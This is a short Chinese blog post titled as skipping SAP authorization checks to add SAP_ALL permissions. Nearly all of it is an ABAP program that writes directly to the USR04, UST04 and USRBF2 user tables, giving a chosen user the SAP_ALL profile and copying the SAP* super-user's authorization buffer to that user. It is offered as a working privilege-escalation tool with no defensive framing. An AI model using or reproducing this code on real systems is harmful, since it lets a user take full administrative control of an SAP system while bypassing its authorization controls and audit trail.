SAP跳过权限检查,增加SAP_ALL权限

 https://mp.weixin.qq.com/s/vyta8AwdPe7cgqhVk7kY2A

PARAMETERS: p_uname TYPE usr04-bname.

DATA zusr04 LIKE usr04 .
DATA zust04 LIKE ust04 .
DATA zprofs LIKE usr04-profs.
DATA zusrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE.

** Update Authorization table USR04.
SELECT SINGLE * INTO zusr04 FROM usr04  WHERE bname = p_uname. "SAP All 权限
zusr04-bname = p_uname.
MOVE 'C SAP_ALL' TO zprofs .
zusr04-nrpro = '14'.
zusr04-profs = zprofs.
UPDATE usr04 FROM zusr04 .

**Update User authorization masters table UST04 .
SELECT SINGLE * INTO zust04 FROM ust04 WHERE bname = p_uname.
zust04-bname = p_uname.
zust04-profile = 'SAP_ALL'. "SAP all 权限
MODIFY ust04 FROM zust04 .

SELECT * FROM usrbf2 INTO TABLE zusrbf2 WHERE bname = 'SAP*' .
LOOP AT zusrbf2.
  zusrbf2-bname = p_uname.
  MODIFY zusrbf2 INDEX sy-tabix TRANSPORTING bname.
ENDLOOP.
INSERT usrbf2 FROM TABLE zusrbf2 ACCEPTING DUPLICATE KEYS.
WRITE 's'.

 

posted @ 2019-09-25 16:35  蜡哲图  阅读(768)  评论(1编辑  收藏  举报
目录内容